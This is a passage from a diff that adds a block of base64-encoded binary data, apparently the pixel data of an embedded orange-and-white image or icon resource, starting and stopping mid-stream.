+        AAAAAAAAAAAAAAAAAADeqiDF768D/92mEv/urgH/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/vtRn/79WQ//7+/v//////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////////////////////7+/v/+/v7//v7+//7+/v/+/v7//v7+//7+/v/+/v7/////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////////////////////7+/v/y4bP/7bYi//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A/+WqDv/wsxD/7chkkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2r1rTumtCf/qrg7/4aYG//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8C/+rCVf/9+/j/////////////////////////////////////////////////////////
+        ///////////////////////////////////////////////////+/v7//Pz8//X19f/q6ur/3t7e/9TR
+        x//MxbL/x7+o/8W9p//Jwq7/0c3A/97e3v/q6ur/9vb2//z8/P/+/v7/////////////////////////
+        //////////////////////////////////////////////////////////////////////////////7+
+        /v/rynD/8LAG//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/5aoO//C0
+        Ef/uymiQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAADgrifO768E/9ymEv/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/stSH/8+W+////////////////////
+        //////////////////////////////////////////////////////////////////////////////7+
+        /v/9/f3/8/Pz/9vZ1P+6rYr/uZxP/8GXJP/Jlgn/1ZwB/9mfA//cogP/3qMD/9ugA//XnQH/y5YH/8GW
+        JP+4nVT/wLWY/+Pj4v/4+Pj//v7+////////////////////////////////////////////////////
+        //////////////////////////////////////////////fu1//qtir/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAf/iqQ//8LQU/+/JYoYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3a8xR+isCv/qrg7/4qcG//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A/+fAVv/+/v7/////////////////////////////////////////////////////////
+        ///////////////////////////////////+/v7/9PT0/8/JuP+5nE7/zZgK/+usAf/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/lpwL/xZYW/7mmcv/j4t7/+/v7//7+
+        /v//////////////////////////////////////////////////////////////////////////////
+        /////////v7+/+rLev/wsAT/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8D/9+n
+        D//wthn/78FFcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAADfriy6768E/92mEv/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wsxH/69ei//7+/v//////////////
+        /////////////////////////////////////////////////////////////////////////f39/+Xj
+        3/+6oV3/154H//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/7KwB/8SXH//Nw6v/+Pj4//7+/v//////////////////////////////
+        ////////////////////////////////////////////////////////8+fH/+u0Hv/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wsAb/4acM//C3Hv/wy2hYAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3bxiKuitDv7ssAz/4aYH//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A/+ewGv/38eH/////////////////////////////////////////////////////////
+        /////////////////////////v7+//v7+//X0cP/wpgo/+ytAf/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/9ef
+        Cf/JupH/+fn5//7+/v//////////////////////////////////////////////////////////////
+        ///////////////////9/f3/5rpE//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/+qt
+        Cv/mqwz/8Loo//HHVzUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAADetESQ7q8G/9+nEf/vrgH/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/4bEw//z8/P//////////////
+        ///////////////////////////////////////////////////////////////////8/Pz/1c25/82c
+        GP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/9uiCv/TyKn//Pz8////////////////////
+        //////////////////////////////////////////////////////////////7+/v/ozon/8LAE//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/46gL/+2xD//wvTP99ujBDAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3smSB+WvHOzwsQf/3aQM//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/mu0f//v7+////////////////////////////////////////////////////
+        /////////////////////////f39/9vVxf/OnRn/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A/9CfHv/u6+X//v7+////////////////////////////////////////////////////
+        /////////////////////////////+zetv/usxX/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/fpxD/8LQS//LHVNcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAADhuEdQ664M/+WqDv/pqwT/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/+G4SP/8/Pz/////////
+        //////////////////////////////////////////////////////////////7+/v/n5d7/yJwn//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/7q4E/9O+hP/9/f3/////////
+        ////////////////////////////////////////////////////////////////////////9/Ll/+av
+        Gf/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8B/9+oE//xtxv/89BwnAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOG1P6fvsAb/3qYR//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/2akq//n5+f//////////////////////////////////////////////
+        ///////////////////+/v7/8fHw/8KgR//vrgH/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/1qoz//r6+v//////////////////////////////////////////////
+        ///////////////////////////////////7+/v/4K4q//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/usAn/4agP//G7K//0z2tYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAADhzJUH568b8u+xCf/fpQr/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/epgz/6OPU//7+
+        /v///////////////////////////////////////////////////////v7+//j4+P/GsHf/6asD//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/hqBH/9PLs////
+        //////////////////////////////////////////////////////////////////////////////39
+        /f/kuED/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/+KoDv/tshP/8sI/+vnqwRAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOK1Okbrrw7/5aoN/+qs
+        Bf/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A/++vAv/KsnH/+vr6//7+/v//////////////////////////////
+        //////////////7+/v/6+vr/zcGg/96kCP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A/+SsFP/y69b/////////////////////////////////////////
+        /////////////////////////////////////////v7+/+K7Uv/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwH/36gU//G4Hf/10G21AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAA5L5Yju6wCP/epxH/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/9mi
+        Df/VzLb/+/v7//7+/v/////////////////////////////////+/v7/+fn5/8/Grv/VoBH/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/5q4W//f0
+        6f//////////////////////////////////////////////////////////////////////////////
+        ///+/v7/3bpc//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/+yvDP/iqRL/8r4z//bUeVYAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADmtC/P8LEH/9+m
+        Dv/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/82cGP/Lwqr/8/Pz//39/f/+/v7/////////
+        ///+/v7//Pz8//Hx8f/FuZj/0p0P//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/ltjj//Pz8////////////////////////////////////
+        //////////////////////////////////////////////7+/v/cuVn/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/3qcT//C2Gv/0ylnm+eOnBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAA4cmHEOqxGP3tsAz/4qcG//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A/9mgBv+4nFH/x7+q/97e3f/n5+f/5+fn/9zc2//Eu6L/uJpG/96jA//wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8LIM/+vR
+        iv/+/v7/////////////////////////////////////////////////////////////////////////
+        /////////f39/+K5Sv/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/+6wCf/fpxL/8bws//XVf3oAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADluD9H7LAR/+Op
+        DP/srgX/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/fowL/yZUL/8SW
+        HP/Elxz/y5cK/+GlAv/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAv/rvkT/+vXm////////////////////////////////////
+        ///////////////////////////////////////////////////6+vr/264z//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/3qcS/+6xDv/wwULt9dqSEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAOW9UXrusAz/36cQ//CvAf/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wsAb/7sBF//bo
+        xP/+/v7/////////////////////////////////////////////////////////////////////////
+        //////////////b29v/cpxj/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/+yvCv/hpgj/77EL/+vDWZAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5rY2qPCx
+        CP/ephD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wsAP/8Lss//DKY//57tD//v7+////////////////////////////////////
+        ////////////////////////////////////////////////////////7OXR/+GoDv/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/46cG/+2vCf/wsQj/6bg1qAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADotjHR8LEJ/9+nDv/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CxCf/yuyn/8MA9//LObf/246///v36////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////7+/v/ayqD/77AI//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/qrAb/5qoI//CwBf/ptzHRAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7OfYAeq0
+        Ifbvsgv/4aYH//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wsgn/8rso//C/
+        Pf/xyFj/9NmO//bjrv/89OD//v7+////////////////////////////////////////////////////
+        /////////////////////////////////////////////////////////Pz8/9S1Yf/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CwA//fpw3/8LAD/+u0Iffs59gBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADmx3AZ7LQb/+isDP/mqgf/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8LEJ//K7KP/wwD3/8chY//TYjv/246//+/Pa//7+/v//////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////7+/v/x8Oz/16QZ//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/+GoDv/wrwL/7bQb/+bH
+        cBkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOq6
+        Ozftsxf/5aoK/+utBv/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CyCf/yuyj/8L89//HIWP/02Y7/9uOv//vz2v/+/v7/////////
+        ////////////////////////////////////////////////////////////////////////////////
+        /////////////////////////////////////////////////////////f39/9TFmv/rrQb/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/36gR//CvAf/tsxf/6ro7NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6cJZTO6zFf/gpg3/8LAF//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wsQn/8rso//DAPf/xyFj/9NmO//bj
+        sP/789r//v7+////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////7+/v/z8/L/zqQx//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/fpw//8K8B/+6z
+        Ff/qw1lMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AADqvkdg77MT/96mD//wrwL/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8LEH//K7
+        KP/wwD3/8slc//Xakv/246//+/Pa//7+/v//////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        /////////////////////////////////////////////////////////Pz8/8++k//oqwX/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A/+OpDf/wrwH/77MT/+u+R2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOu7OXDvsxL/36cP//CvAf/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wsQn/8b40//DDSP/z1ob/9uOv//zz3f/+/v7/////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////39/f/k4Nb/0Z8a//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/4KcO//Cv
+        A//vsxL/7Ls5cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAA67k0eu+zEv/iqQ7/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/xtxv/8MBC//PVhP/35bX//fv1////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ///////////////////////////////////////////////////+/v7/7+7s/8OgQf/vrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/epQz/8LAF/++zEv/sujR6AAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADsuTKA77MS/+WqDv/wrwD/8K8A//Cv
